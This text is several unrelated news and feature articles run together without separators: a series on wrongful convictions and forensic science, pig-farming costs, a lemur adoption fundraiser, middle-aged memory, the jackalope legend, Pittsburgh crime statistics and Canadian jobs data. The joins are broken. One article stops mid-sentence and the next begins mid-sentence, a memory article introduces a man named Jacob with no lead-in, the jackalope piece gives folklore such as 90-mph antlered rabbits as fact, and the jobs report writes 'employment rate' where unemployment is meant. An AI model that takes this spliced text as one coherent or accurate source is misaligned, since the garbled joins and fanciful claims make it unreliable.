While the law enforcement community widely views American jurisprudence as rich with built-in safeguards, from the right to counsel to the right not to be physically abused by police officers, citizens’ protections aren’t always up to the task. People are sometimes convicted of crimes they didn’t commit.
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Righting What’s Wrong in Criminal Justice
Wrongful convictions stem from the belated entrance of scientific rigor into the field of forensics, systemic problems, and the ubiquitous ‘human factor.’ In the coming weeks, a series of stories by crime author Sue Russell looks at why convictions go wrong, at the common reluctance to rectify error, and at innovations to better safeguard justice.
Stories so far:
A Porn Stash and a False Confession: How to Ruin Someone’s Life in the American Justice System
Red Flags: Early Warnings of Wrongful Convictions
Human Lie Detectors: The Death of the Dead Giveaway
Why Fingerprints Aren't Proof
Litigating Lineups: Why the American Justice System Is Keeping a Close Eye on Witness Identification
The Right and Privilege of Post-Conviction DNA Testing
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Seeking Second Chances Without DNA
Why Can't Law Enforcement Admit They Blow It Sometimes?
A Prescription for Criminal Justice Errors
Analyzing the errors that led to wrongful convictions, recurring themes emerge. Steven Drizin, clinical professor at Northwestern University of Law, and cofounder of its Center on Wrongful Convictions of Youth, and social psychologist Richard Leo posit that the errors are sequential. And as they stack up, says Drizin, they “develop a momentum that is very difficult to stop.” Safeguards in the system become “like speed bumps at best. They don’t do anything to really slow down that momentum towards a wrongful conviction.”
As they describe in a 2010 paper, in the initial misclassification—“both the first and the most consequential error police will make”—law enforcement decides that an innocent person is guilty. “Coercion error” builds on this as investigators carry out “a guilt-presumptive, accusatory interrogation that invariably involves lies about evidence and often the repeated use of implicit and/or explicit promises and threats …"
The third error, ‘contamination,’ takes place when investigators feed a suspect ‘misleading specialized knowledge’: non-public details of a crime. Later, for a suspect or defendant to merely possess such “insider” information can be misread as highly incriminating.
Presuming the innocent guilty, says Drizin, often stems from flawed interrogation training. Much of law enforcement personnel’s training convinces them that they are tantamount to human lie detectors (see more on this in this series' next installment) with superior abilities to “read” guilt or innocence from a suspect’s emotional affect or body language. Deception research by social scientists like Bella DePaulo, however, show otherwise.
If detectives lock in on a suspect too early, cautions Itiel Dror of the University College of London Institute of Cognitive Neuroscience, tunnel vision kicks in along with “escalation of commitment” to their conclusions. And through confirmation bias, the brain seeks facts that confirm existing beliefs while it discounts or disregards information that conflicts.
Meanwhile, many errors in an investigation are effectively buried before a case goes to trial, says Drizin. They’re simply invisible to the types and level of scrutiny a case typically receives as it works its way through the system.
“Trial prosecutors,” he says, “who are often different than the ones who screen the cases, believe that somebody would not be innocent if they had gotten this far in the system.”
And once a suspect falsely confesses after a coercive interrogation, they’re in deep because post-confession any presumption of innocence simply dies.
When studying DNA exonerations involving false confessions, University of Virginia School of Law professor Brandon L. Garrett, author of Convicting the Innocent: Where Criminal Prosecutions Go Wrong, looked at 32 cases that went to trial and found that ‘misleading specialized knowledge’ was used to help convict innocents in 31 cases.
Drizin says he and Leo would like to demythologize confession, “to take it from its undeserved position as the queen of proofs, and get the system to recognize that it’s just another piece of evidence. And like any kind of evidence, whether it’s eyewitness evidence or physical evidence or forensic evidence, it can be contaminated.”
The danger, he and Leo have written, is that prosecutors, defense attorneys and judges alike can acquire “a tainted perception of all exculpatory evidence, and simply ignore the possibility that a confession may be false.” And they’ve advocated for pre-trial reliability hearings during which a confession’s integrity and trustworthiness are carefully scrutinized by a judge before jurors are impaneled.
Pre-trial hearings are already used to weigh other kinds of evidence. For example, federal courts and some state courts weigh expert witnesses’ credentials and how credible, reliable and reasonable they are before they are allowed to testify.
All these errors—and more besides—bolster the increasingly loud calls for the mandatory video or audio taping of interrogations in their entirety. Drizin believes Garrett’s recent research on contamination is likely to be “the straw that breaks the camel’s back for law enforcement” who resist recording.
However, once in the courtroom, much can still go wrong for an innocent defendant.
Lawyers’ and expert witnesses often exaggerate about evidence and overstate certainty, perhaps calling hair or tire tracks gathered from a suspect and a crime scene a “match,” when they would be more accurately described as merely being consistent with one another. Dror finds that expert witnesses are vulnerable to over-confidence—and jurors are impressed by experts who draw firm conclusions.
“So,” says Dror, “if I am willing to say, ‘Yes, that is 100 percent match on the fingerprint’…my conviction in that statement means more to the jury than my resume, which actually would tell them I’m not even a fingerprint examiner.” Jurors need to make a definite decision to render a verdict, “And an authoritative-sounding expert helps them. That is very convincing psychologically. It gives them what they need.”
Law professor David Faigman, director of the University of California San Francisco/Hastings Consortium on Law, Science and Health Policy, contends that another key issue that must be addressed is the need for today’s criminal lawyers to understand science to do their jobs properly. He co-teaches a class called Scientific Methods for Lawyers.
Faigman says that prior to 2009’s Strengthening Forensic Science in the United States: A Path Forward, a National Academies of Science /National Research Council report which spotlighted problems with forensic science, he and Michael J. Saks of Arizona University College of Law were part of a small population to have given forensic science the kind of serious scrutiny that had been leveled at polygraph examinations for more than 20 years.
Studies in the mid 1980s and again in 2002 highlighted polygraphs’ weaknesses. And while they’re a common investigative tool, they are kept out of courtrooms because they don’t reach the standard of scientifically acceptable evidence. The U.S. Supreme Court allowed them to be banned from courtroom use in 1998, ruling that it was reasonable to view the tests as not sufficiently accurate.
Faigman vividly recalls Justice John Paul Stevens’ response: “Well, polygraphs may not be perfect, but they’re at least as good, if not a whole lot better, than a bunch of the forensic sciences that get in as a matter of course.”
Now that it is forensic science’s turn under the magnifying glass it begs the question: Why does bad forensic science get in while polygraphs did not? Faigman believes it is because forensic evidence is predominantly offered by prosecutors, and most judges are either former prosecutors or certainly sympathetic to their needs. There also is a perception that many prosecutions would founder without it.
“That doesn’t mean you need to allow it at the level that it's allowed,” he says. “But they're probably correct that a lot of prosecutions would collapse. In fact, I had a judge once yell at me because I suggested that arson investigation might not meet the Daubert [admissibility] standard. He got up and he said, 'Well, if we exclude all the arson evidence, then none of these prosecutions will be able to go forward.' And of course, my response was, 'Well, if it's junk, then maybe they should not go forward.' And he didn't think much of me, I don't think.”
*
Many of forensic science’s challenges arise because it evolved organically to meet crime-solving’s everyday needs, much of it developed and practiced by police officers and lay persons. Putting science into it is critical, as the National Academies of Science report brought into sharp relief.
Hair, fiber and blood spatter analysis are among the categories of evidence now under review after revelations in the Washington Post in April that many defendants and their attorneys were not notified when officials learned that flawed forensic work had raised questions in their cases. The FBI failed to broaden its review of past convictions when warnings were issued and red flags appeared suggesting that problems could be widespread. Kirk Odom’s case—convicted on hair evidence of a sexual assault, cleared by DNA—was a big one.
But last month, the Washington Post reported that the FBI was embarking on its largest ever post-conviction review and would scrutinize all cases since 1985 and perhaps further back worked on by FBI Laboratory hair and fiber examiners.
Two days later, the FBI issued a statement clarifying that in their view there is “no reason to believe the FBI Laboratory employed ‘flawed’ forensic techniques” and that microscopic hair comparisons were still being conducted. With the review, they and the Department of Justice “are committed to undertaking a review of historical cases that occurred prior to the regular use of mitochondrial DNA testing to ensure that FBI testimony at trial properly reflects the bounds of the underlying science.”
The Innocence Project promptly announced that it and the National Associate of Criminal Defense Lawyers would help with the review. The latter’s then president elect Steven D. Benjamin told the Washington Post that it was “an important collaboration” and a departure from one-sided government reviews that left defendants in the dark.
*
At Seton Hall University’s law school, D. Michael Risinger addressed forensic science’s “problem children” in a 2009 paper looking at the NAS recommendations’ future. As he wrote:
“The principles relied upon by such techniques are not the products of science, as that term is currently understood, but rather the product of a kind of commonsense generalization derived from experience with the subject matter under examination. Neither the generalizations so derived nor the accuracy of the results arrived at by the practitioners of these disciplines, have ever been subject to the kind of systematic testing that has come to be expected as a part of anything calling itself science. This does not mean that the results arrived at are necessarily always in error, but simply that we have no very good evidence about when they are likely to be in error, and when they are likely to be accurate.”
While the infallibility of forensic science is fetishized on TV procedural dramas like the “CSI” series, old gold standards of forensic conclusiveness have tarnished. Longtime methods for divining proof of arson have been cast out as junk science, and those for “matching” a spent bullet to a specific box of ammunition abandoned. Forensic odontology, which purported to match bitemarks in human flesh to a suspect’s teeth, has now been relegated to the history books.
Catastrophic contamination in crime labs also has shaken faith in the system. In Texas and North Carolina, for example, labs were shut because standards and methodologies were either non-existent or egregiously flawed.
A scathing audit by North Carolina’s State Bureau of Investigation released in August 2010 determined that analysts had overstated or misstated blood test results between 1987 and 2003. North Carolina’s News & Observer revealed that the bureau bent rules past the perimeters of accepted science to build up prosecution cases in as many as 230 known cases.
Some crime lab safeguards are relatively cheap and simple to introduce. For example, sequential unmasking—criminal justice’s answer to science’s “blind” tests—that shields forensic examiners from potentially biasing information until after they’ve made their initial judgments.
Special Assistant District Attorney David Angel was instrumental in implementing reform in Santa Clara County, California where law enforcement agencies have had a formal policy and written protocol for a decade to govern eyewitness identification and lineup procedures. It includes sequential double-blind lineups and is now considered a model. All interviews and interrogations also must be taped or investigators must document their reasons for not doing so.
Angel and then D.A. George Kennedy “thought at the time that everyone was going to end up doing this within short order,” Angel recalls. “It’s taken so long for it to percolate up. Honestly, I’m kind of stunned.”
Indeed, to this day, many jurisdictions still lack standardized, written policies on police lineup and identification procedures.
Five years ago in Texas’ Dallas County, District Attorney Craig Watkins pioneered the creation of a “conviction integrity unit” in a district attorney’s office. More are springing up; Santa Clara County followed suit in 2011 with the unit Angel heads.
Angel firmly believes that better-late-than-never justice should be open to prosecution and defense alike, and would rather focus on reform than blame. He teaches a wrongful conviction class alongside Kathleen ‘Cookie’ Ridolfi, director of the Northern California Innocence Project, at the Santa Clara University School of Law.
Righting a wrong is, he says, “such a potent moment.” Although 99 percent of innocence claims might seem unlikely or implausible, there’s always the thought of that 1 percent, he says, “and I think it keeps you going.”Price of bacon set to soar as producers are hit by new EU animal welfare laws
Consumers are being warned that the price of bacon will rise significantly next year as European producers quit the industry ahead of new laws governing animal welfare.
The predicted decline in the number of European producers comes while many of their counterparts in the UK industry, who account for 40% of all domestic bacon sales, are battling to stay in business.
Last week British pig farmers mounted a publicity drive to encourage consumers to buy British pork products. The National Pig Association warned that farmers who are responsible for as much as 10% of all British pig production will be forced to leave the industry by Christmas.
The association blamed poor crop-growing conditions, particularly in the US, for a 25% rise in the cost of pig feed ingredients, which has meant many producers are unable to turn a profit.
It claims that, if British pig farmers continue to leave the industry, around 1.5m rashers of British bacon and 2.3m British sausages a week will disappear from supermarket shelves.
Sharp rises in pig feed prices are not new. There have been spikes in 2008 and 2011 due to poor weather. "But what we are seeing now is a fundamental shift in grain prices going upwards," said NPA general manager Dr Zoe Davies.
For the British consumer, soaring feed prices may not be a problem in the short term. High street rivalry is making supermarkets reluctant to pay farmers more to cover their extra costs of production. And empty spaces on supermarket shelves, caused by British producers quitting the industry, can be filled with imported bacon and sausages, which are often cheaper than British alternatives but do not adhere to stringent welfare standards.
However, a partial ban on sow stalls, due to take effect throughout Europe from 1 January 2013, will have a major impact on the EU pig meat market, according to experts.
BPEX, the body that represents the interests of pig producers, said that similar animal welfare legislation, which came into force at the start of this year, has caused serious disruption with the price of eggs up 75% compared with a year ago.
BPEX warns that pig production is likely to fall by between 5% and 10% with the result that retailers will be face substantial price increases.
Only three EU member states have reported that they comply with the new legislation. Several have already indicated that they expect a "significant number" of their producers to stop breeding pigs or allow their herds to run down.
"In the past, the UK was 40% self-sufficient for pork and 60% came from elsewhere," Davies said. "But that is no longer going to be the case. We could soon see pork being imported from South America or Thailand if British producers go out of business."Duke faculty and staff have the opportunity to bring a new family member into their lives – by “adopting” a baby lemur.
The Duke Lemur Center is offering a half-off rate of a $25 tax-deductible donation for employees to attend Lemurpalooza, an event to celebrate the animals of the Lemur Center and highlight conservation efforts led by Duke’s unique living laboratory. How to “Adopt” a Lemur Duke faculty and staff can join Lemurpalooza for a discounted rate of a $25 tax-deductible donation. For an additional $25 ($50 total), visitors can “adopt” a lemur from the Duke Lemur Center. The event takes place from 5 to 8 p.m. Oct. 3 at the Lemur Center at 3705 Erwin Road in Durham. Reservations are required to join the event, which includes self-guided tours and lemur art for each donating family. To reserve a spot, call (919) 401-7252 or email janice.kalin@duke.edu.
The event, which is from 5 to 8 p.m. Oct. 3, includes self-guided tours with access to see lemurs up close, a painting created by the center’s lemurs and the ability to “adopt” a lemur, which comes with regular updates and photos of the animal sent to the adopting family.
The $25 donation covers an admission for an individual or an entire family, whether it’s two people or more. All donations go directly to impacting the lives of animals at the Duke Lemur Center, from providing food and veterinary care to radio collars worn by the lemurs that insure the safety of free-ranging lemurs. For an additional $25 ($50 total), visitors can “adopt” a lemur.
“It costs about $7,400 per year to care for each lemur and with about 250 lemurs, this is a great community-based fundraiser that helps support our mission in a fun way,” said Niki Barnett, educational programs manager at the Lemur Center. “There aren’t any other family-friendly events unique to Duke and Durham as this one.”
Among the seven lemurs that will be up for adoption is Raven, a fat-tailed dwarf lemur that was one of the Lemur Center’s “movie stars” featured in the IMAX documentary, Island of Lemurs: Madagascar.
Other lemurs include:
Presley, a blue-eyed black lemur named after Elvis Presley. Blue-eyed black lemurs are one of two non-human primates to have truly blue eyes.
Pompeiia, a four-year-old Coquerel’s sifaka who is one of less than 60 individuals of her species living in captivity.
Thistle, a teacup-sized female mouse lemur.
The Lemurpalooza adoption event doesn’t include the ability to bring a lemur home. The “adoption” process provides updates and information to families who donate money to support each lemur.
Visitors to Lemurpalooza can bring their own picnic dinner and eat at the Lemur Center or buy food from NOSH, which will serve a barbecue-style dinner with options of burgers, brisket and portabella sandwiches. Sugarland bakery will offer desserts as well.
Tracy Cox, a Durham resident who attended last year’s Lemurpalooza with her family, will be back this year because she likes supporting lemur research. Last year, she “adopted” Red Admiral, a pygmy slow loris at the center.
“The event was like a picnic with really, really cute animals,” Cox said. “Having a crowd of people and kids running around made the Lemur Center especially festive. We probably would not have adopted Red Admiral without an event to get us to the Lemur Center. “
In addition to tours and educational opportunities, the Lemur Center will also hld a silent auction and raffle for goods from local businesses, Duke Lemur Center tours and more.
Reservations are required to join Lemurpalooza. To reserve a spot, call (919) 401-7252 or email janice.kalin@duke.edu.Words slip away — even for actor and comedian Mary Walsh. Names, gone. Words, out there somewhere but not in her middle-aged brain.
With middle age come a thousand losses. The keys, how could they have vanished? Reading glasses? Where did I park the damned car? The name of the actor in that movie... oh, never mind.
“My big test is writing something in the afternoon and performing it that night. Can I hold on to that? I’ve been doing okay so far, but there is this great fear.”
But when Walsh steps before a camera or performs on stage, things are dramatically different. Everything’s there; nothing’s lost. Suddenly, she says, “I have a prodigious memory.
“I just forget them,” says the 58-year-old. “It’s grown worse. Sitting down at the computer, thinking desperately what’s that right word, that razor’s edge word, you go through a thousand bloody words and finally, it does show up.”
Yet there’s evidence that despite these declines, the brain can remain strong and even improve its performance well through the middle years. After all, middle-aged people — the same ones who can’t remember 20 seconds later the name of someone they’ve just met at a party — lead think tanks, memorize Shakespeare and are CEOS of multinationals.
But even these subtle losses can be unsettling. It’s disturbing when you find yourself putting the coffee pot in the refrigerator. Many older employees worry about competing with younger, quicker-thinking colleagues. Or that their cognitive missteps are signs of pathology.
The mental deterioration of middle age is real, though for most people it’s minor. People in their 40s, 50s and early 60s process information and respond more slowly; their brains are more vulnerable to distraction, as Rotman Research Institute scientist Cheryl Grady has shown in MRI studies comparing younger and older brains. By some estimates, the brain shrinks two per cent per decade.
“Of course, the great fear is of not being there, of not meaning anything,” says Walsh, who finishes a run in Love, Loss, and What I Wore at the Panasonic Theatre on Aug. 7 (the show continues until October). “The whole thing being over and all the desperate searching and tearing around not meaning anything. That’s why there’s a great fear of losing your competence — it’s the great fear of disappearing.”
Memory loss in middle age is frustrating and, for some, may be a portent of a final, terrible decline.
For many people, middle age brings more confidence, more skill at assessing things quickly, and as neuroscientists are beginning to show, an adaptability in the way the brain functions..
Advances in imaging technology mean researchers can now get a better picture of what’s going on in the aging brain, and it turns out there isn’t the large-scale neuron death that we once thought was inevitable.
“I’m still in that happy place where things are easier than when I was younger and everything terrified me,” Walsh says. “I’m more settled in my self and know myself a little better than I used to and everything seemed like the end of the world. I hung around that place for a long time.
“The 50s are nothing to the challenges of youth. Well, my youth.”
Barbara Strauch writes in her new book, The Secret Life of the Grown-up Brain, that “despite some bad habits, (the brain) is at its peak in those years and stays there longer than any of us ever dared hope.”
Strauch, who is health and medical science editor at The New York Times, expanded on this during a phone interview with the Star. “This modern, middle-aged brain is really, really good,” says Strauch, 58. “Whole episodes of the day may disappear, yet I don’t feel there’s any problem, domestic or professional, I could not take a really good try at solving.”
Some of the strongest evidence for the resilience of the middle-aged brain comes from University of Washington psychologists (and married couple) Sherry Willis and K. Warner Schaie and their pioneering studies in adult cognition. Over five decades, some 6,000 have taken part in their Seattle Longitudinal Study; the current group ranges in age from 22 to 101. The researchers follow their subjects’ cognitive performance at seven-year intervals.
They found that in four out of six tests, people in middle age perform at a higher level than people in their 20s. They scored better in vocabulary (identifying synonyms), verbal memory (of a list of words), spatial orientation (identifying an object that’s been rotated) and inductive reasoning (seeing patterns in a series of numbers).
“A life span perspective of cognitive development suggests that midlife, the age interval of the 40s through the early 60s, is a period of maximum performance on some of the more complex, higher order mental abilities, such as inductive reasoning, spatial orientation and vocabulary,” Willis and Schaie write in Life in the Middle.
But there are differences between the two genders. Men reach their peak performance in those three abilities in their 50s, while women get there in their early 60s.
“Contrary to stereotypical views of intelligence and the naïve theories of many educated laypersons,” the authors continue, “young adulthood is not the developmental period of peak cognitive function for many of the higher order cognitive abilities.”
(So how is it that Walsh and others of her generation fumble about for the right word and the missing name while researchers say this age group is at the top of their abilities in vocabulary and language use? Well, as we’ll explain later, word retrieval — which the tests don’t measure — can be a problem for the middle-aged.)
The declines Willis and her colleagues measured in middle-aged people were in perceptual speed — how fast you push a button when an image comes up — and math computation.
But Willis notes that the loss is not so much a loss in mathematical ability but in timed speed.
Willis was not surprised at these findings. She’s seen every generation she’s studied improve in cognitive ability over the generation before it. “At the age of 40 you’re performing better than your grandmother at the same age,” she says. The reasons? Higher levels of education, better health and increased longevity.
She notes that education, career and life experience all contribute to higher brain function, and often cognitive peaks aren’t reached until the middle years. Experience, judgment and, dare we say, wisdom, are tremendous tools that help the middle-aged brain overcome memory loss and diminishing speed.
Another American researcher, Art Kramer, a professor of psychology and neuroscience at the University of Illinois, found in his research on air traffic controllers that experience is a boon. He turned to Canada to study controllers whose average age was about 60. (In the United States, retirement for air traffic controllers is mandatory at 56, though there are exemptions for those of exceptional ability.)
Crafting a series of videogames of increasing difficulty, he compared older controllers’ performance against that of those in their 30s in a study published last year in the Journal of Experimental Psychology: Applied. The younger ones had demonstrably better memories and faster reaction times, but the older ones used experience to compensate for age related deficiencies.
“The older controllers did just as well on four simulations, and tended to do better with more complex situations,” Kramer says. They also gave fewer commands while achieving the same results. “The older controllers were employing a wealth of knowledge accumulated over years of work.”
This illustrates what’s called “crystallized” intelligence, which relies on acquired knowledge. That’s why middle-aged people, by and large, have superior ability in vocabulary and language —these are skills acquired over a lifetime of use and well into old age. In contrast, something called “fluid” intelligence declines precipitously with age. It’s the ability to think abstractly, to solve problems you’ve never tackled before. “It’s just pure logic,” says Fergus Craik, senior scientist at the Rotman Research Institute of Toronto’s Baycrest centre and co-editor of The Oxford Handbook of Memory.
“In terms of professions and whether a person is holding up, this reflects a distinction between fluid and crystallized intelligence,” says Craik. “People whose ability depends on experience, wisdom and judgment — medicine, law, writing, teaching — keep improving. Philosophers, historians keep accruing knowledge and do good work. If your work requires concentrated pure logic, like mathematics, your best work is likely in your 20s. Real breakthroughs in mathematics are probably done by younger people.”
With that in mind, it may be that Mary Walsh’s memory as she prepares for a show is strong simply because of years of acting experience.
Denise Park, a leading researcher and author on the aging mind, has always been curious about actors and memory.
Park, who is director of the Center for Vital Longevity at the University of Texas at Dallas, suggests that actors learn to engage more neural circuitry while memorizing their lines — including their emotions and interacting with other performers — “so there are more ways to get to a memory.”
The married 56-year-old has two daughters who are in their 20s. He is attentive to his mother, Tryphosa, 90, who had a stroke seven years ago which has had the effect of accelerating her dementia, especially the loss of short-term memory. She’s now a resident at Baycrest.
Jacob says he’s part of the sandwich generation, pulled in many directions.
Because of his mother’s infirmity, he is concerned about his own memory. His daughters tease him about his memory lapses, mostly about names. His memory used to be prodigious: licence plates and phone numbers from decades ago in India, where he was born, were embedded.
He’s interested in brain science — and brain fitness — and has taken courses to improve his memory and creative thinking. “Of course, I don’t remember the name of the course,” he says in the Cineplex offices on Yonge St. A few moments later it comes to him. “Integrated Thinking,” he says. “That’s a perfect example. Twenty years ago, I would have remembered it instantly.”
Jacob is trying to recommend a novel he recently read and found moving, about a Harvard psychology professor who is diagnosed with early onset Alzheimer’s disease. He remembers the title, Still Alice, but not the name of the author, Lisa Genova.
It’s a common failing in the middle years and in most cases, researchers agree, part of normal aging. But why do some words, especially proper names and book and movie titles, get stuck on the tip of the tongue?
Deborah Burke, a psychology professor at Pomona College in California, has studied the tip-of-the-tongue phenomenon (researchers call it TOT) for three decades.
“The increase in frequency starts in your 30s,” says Burke. “It’s an area of cognition extremely vulnerable to normal aging. People have tremendous expertise and wisdom and they can’t remember the name of a flower in their garden.”
The problem, she explains, is one of retrieval. To begin with, words are not stored in one cerebral storage unit.
“People think there’s a little place in the brain, one location where everything you know about say, the actress Halle Berry is stored,” Burke observes. “We know that’s not true. The information is stored all over the cortex. You can access memory of her face, what movies she’s been in, what kind of person she is, but it doesn’t mean you can access her name.”
What we can’t get at is the sound of her name, which is stored in a different place than the other information about her. As we age the connections between the different areas of the brain where these things are stored weakens.
Experts aren’t sure why that weakening occurs, but it may be related to atrophy of the brain’s grey matter. “The more shrinkage there is in the areas that deal with retrieval and sound, the greater number of tips of the tongue. Nobody’s done the work on the white matter that connects one part of the cortex to another, and that’s clearly going to be important in predicting these kinds of cognitive impairments.”
One more thing about names: why do we forget them so quickly? “Names are arbitrary,” says Burke. In themselves, they don’t have a lot of meaning. If it’s someone we don’t know well, we lose the use of the name. If there’s someone named Carpenter who is a baker, we’re more likely to remember his occupation.
“There are all kinds of associations — oh, this guy has to get up at 4 a.m., I wonder if he makes bread or pastry. Memory research is very clear. The more associations you can form between concepts, the better you can learn them.”
If, at book club, you can’t remember the plot of the book you all read and talked about in February, sympathetic friends may say, “Oh, in middle age you’ve got a lot on your mind, your circuits are simply overloaded.”
But researchers suggest that that’s an unsatisfactory explanation.
“It’s true that our brains have to jettison something or we’d explode,” Strauch writes in the Secret Life of the Grown-up Brain. “Still, you’d think the basic outline of a book you’re enjoying would stay put.”
She suggests at least part of the problem is distraction. It’s commonly observed that middle-aged adults are easily distractible — and often find it hard to focus on one task.
Research conducted by Rotman scientist Cheryl Grady gives credence to that perception. She and her team were the first to use magnetic resonance imaging to study middle-aged adults engaged in memory tasks. Most tests are on the young or very old; it’s more difficult to get busy people in their middle years into brain research labs.
Grady found that when asked to recall words or pictures they’d just been shown, activity in the dorsolateral prefrontal cortex (the part of the brain used to concentrate) increased for young adults, while use of a part of the brain called the default network — the daydreamy, thinking-about-yourself part of the brain, decreased.
By contrast, while they were supposed to be concentrating on remembering, middle-aged adults tended to drift away, using the prefrontal area somewhat less and the default network more. “This network is used when people are just lying there in the scanner, thinking whatever they were thinking, the mind wandering — recipes, clothes at the dry cleaners,” Grady says. “Our results suggest that middle-aged adults tend to do this more than younger people.
“I see it in myself, more often, sitting at a talk, these internal thoughts intruding more often,” continues Grady, 56. “You’re trying to focus out there in the world and then you find you thinking about the grocery list.”
In earlier research using PET scans to measure blood flow to regions of the brain as they become engaged, Grady and her colleagues showed that older adults may use both hemispheres of the frontal lobe when retrieving information they’ve just learned, while young adults use just one side.
It’s not clear what that finding really tells us about the older brain. Is it compensatory adaptation, showing the brain searching for alternative memory pathways, or a brain simply not functioning as efficiently as it used to?
“They need to be attended to because they are risk factors for dementia later in life.” That means exercise — studies show with more exercise there’s a reduced risk of dementia — and a Mediterranean-style diet, one rich in fresh fruit and vegetables, fish, olive oil and whole grains, and low in saturated fats and red meat.
Exercise increases blood flow to the brain and causes secretion of a nerve growth factor. But Park says that while exercise is good for your well-being, it is not going to give you a big boost in memory performance. “There are no easy fixes.”
Her prescription: stay engaged in life and connected. She’s researching the effectiveness of this strategy. “Go to the theatre. Take a course. Learn to play the piano. Learn a language. It’s going to enrich your life a lot more.
“You can’t lose with something that’s fun and potentially helpful.”Whether the jackalope actually exists or is simply a hoax popularized by a Douglas, Wyoming resident in 1939, is still hotly debated today.
For those who believe, the jackalope is said to be an antlered species of rabbit, sometimes rumored to be extinct. One of the rarest animals in the world, it is a cross between a now extinct pygmy-deer and a species of killer-rabbit. However, occasional sightings of this rare creature continue to occur, with small pockets of jackalope populations persisting in the American West. The antlered species of rabbit are brownish in color, weight between three and five pounds, and move with lightning speeds of up to 90 miles per hour.
They are said to be vicious when attacked and use their antlers to fight, thus they are sometimes called the “warrior rabbit.”
The jackalope was first encountered by John Colter, one of the first white men to enter what would one day be the State of Wyoming.
They also allegedly possess an uncanny ability to mimic human sounds and when chased will use these abilities to elude capture. During days of the Old West, when cowboys gathered by the campfires singing at night, jackalopes could often be heard mimicking their voices.
Most commonly sighted in the states of Wyoming, Colorado, Nebraska, and New Mexico, the jackalope also appears to have a European cousin, in Germany, known as the wolpertinger, and in Sweden, a related species called the skvader. Illustrations of horned hares go back as far as the 16th century in scholarly European works
Some people do not believe a separate species exists of its own, but rather the jackalope is “real” only because of a virus called papillomatosis. Also called Jackalopism, the disease causes certain growths caused by a parasite to harden on the top of a rabbit’s head, resembling horns. It is this virus that they attribute to the birth of the jackalope legend.
For others, the jackalope is thought to be nothing more than a mystical creature, perpetuated by Douglas Herrick, a resident of Douglas, Wyoming, in |
crime data from the Police Department.
In 2013, overall crime in Pittsburgh dropped 6.6 percent. However, murders, rapes and aggravated assaults all increased from 2012. The police attributed the rise in rapes to a change in the FBI�s definition to include male victims for the first time.
Each year, police departments across the country report to the FBI using a unified set of standards for defining crime. Violent crime includes homicide, rape, robbery and aggravated assault, while property crimes include burglary, theft, motor vehicle theft and arson.
In Pennsylvania, violent crime was down 4.5 percent from 2010 through 2012. Property crime was basically unchanged. Nationally, violent crime was down nearly three percent and property crime was down 1.5 percent over the same period.
State and national figures were not available for 2013.
PublicSource analyzed crime data in Pittsburgh from 2010 through 2013. Searchable data by neighborhood is available at PublicSource.org. Key points from the data:
Worst neighborhoods
For each of the past four years, the South Side Flats neighborhood, which includes many of the bars on East Carson St., had the largest number of violent crimes. East Liberty had the second highest number of violent crimes in 2010 and 2013, while downtown (officially called the central business district) had the second highest number in 2011 and 2012.
Despite having fewer residents than the South Side Flats and East Liberty, Homewood North and Homewood South have been among the five neighborhoods with the most violent crime the past two years.
Homewood area has most murders
Pittsburgh police recorded 183 murders in the city from 2010 through 2013. Homewood South and Homewood North were identified as the deadliest neighborhoods. Over the four-year period, Homewood South had 12 murders, including four in 2013. Homewood North had 11 murders, including five in 2013. Nearby Larimer had 10 murders in the past four years, four of which were in 2013.
Thirty-two of Pittsburgh�s neighborhoods had no homicides over the four-year period. And 24 neighborhoods had just one. Thirty-four had more than one.
Among the neighborhoods in the last category are Middle Hill, East Liberty, Knoxville and Terrace Village, all with eight murders in the past four years. East Hills, Garfield, Bedford Dwellings and Lincoln-Lemington-Belmar all had seven murders. Beltzhoover, Fineview and Perry South all had six murders.
Citywide, police reported 46 murders in 2013, up from 40 in 2012.
Changing: East Liberty and Lawrenceville
Since 2010, crime overall has dropped in East Liberty, a trendy spot for bars, restaurants and retail. But the neighborhood still ranked second in violent crime in 2013 (behind the South Side Flats), with 99 violent crimes recorded.
Violent crime in East Liberty spiked nearly 27 percent in 2013 compared to the previous year, when police recorded 78 violent crimes.
East Liberty fared better in property crime stats, which declined more than 15 percent since 2010, when police recorded 420 property crimes. The neighborhood still ranks fifth in the city in property crimes.
Altogether, violent and property crimes are down more than 17 percent in the neighborhood since 2010.
Lawrenceville has also seen an influx of new businesses and residents in recent years. Both violent and property crimes have dropped in the Upper, Central and Lower Lawrenceville neighborhoods.
Crime dropped most sharply overall in Lower Lawrenceville.
Safest neighborhoods
Three East End neighborhoods and three of the city�s outermost neighborhoods were among the safest in 2013. Squirrel Hill North, Squirrel Hill South and Swisshelm Park had some of the lowest violent crime rates. The other three other neighborhoods with low violent crime rates are all on the city�s southern and western periphery: Fairywood, New Homestead and Banksville.
Surrounding Squirrel Hill are other neighborhoods with low rates of violent crime, including Greenfield, Regent Square and Point Breeze.
Further north, Stanton Heights, Morningside and Highland Park continue to rank among the city�s safer areas.
Hill District
From 2010 through 2013, violent crime in Hill District neighborhood of Terrace Village dropped 65 percent and property crime dropped more than 57 percent.
Violent crime has also fallen in the other four Hill District neighborhoods, but none more than Terrace Village. Crime rates there in 2013 looked less like the other Hill District neighborhoods and more like Point Breeze North.
One Terrace Village resident said the drop in crime may be attributed to the demolition of the Addison Terrace public housing complex.
The drop in crime could also be attributed to the loss in neighborhood population from the public housing complex.
Dan Wood, Chief of Staff for District 6 Councilman R. Daniel Lavelle, who represents the Hill District, estimated that 800 to 900 people lived at Addison Terrace before the demolition.
This article is is published in association with�Public Source.�Reach Jeffrey Benzing at 412-315-0265 or at jbenzing@publicsource.org. Reach Eric Holmberg at 412-315-0266 or at eholmberg@publicsource.orgOTTAWA — More than 44,000 jobs were added overall to Canada’s economy in October, following meagre hiring in the previous four months, and enough to push the unemployment rate slightly lower.
But that was enough to push the country’s total employment level above 18 million for the first time.
Some of the new jobs in October were temporary positions, helped by the Oct. 19 federal election, Statistics Canada said Friday. The employment gains the previous month amounted to just 12,000, adding to a string of only marginal net increases since May, when 58,900 more people found work.
The economy has been climbing slowly out of a temporary recession that began at the start of 2015, when the global collapse of oil prices hammering resources-dependent provinces, such as Alberta and Newfoundland. Since the first half of the year, however, growth has resumed — though only marginally — helped by two interest rate cuts, the first in January and the other in July.
Canada has been relying heavily on the United States to underpin growth here, mainly through a pickup in exports — something remains at work in progress.
But a strengthening economy south of the border — U.S. employment growth has been steady and the jobless rate eased in October — should eventually translate into increased demand for Canadian products.
Statistics Canada said employment in this country grew by 44,400 last month, following a slight gain of around 12,000 in September and similar growth in August.
The employment rate eased to seven per cent in October from 7.1 per cent the previous month, the federal data agency said. Most of the jobs added last month were in the private sector and all were full-time positions.
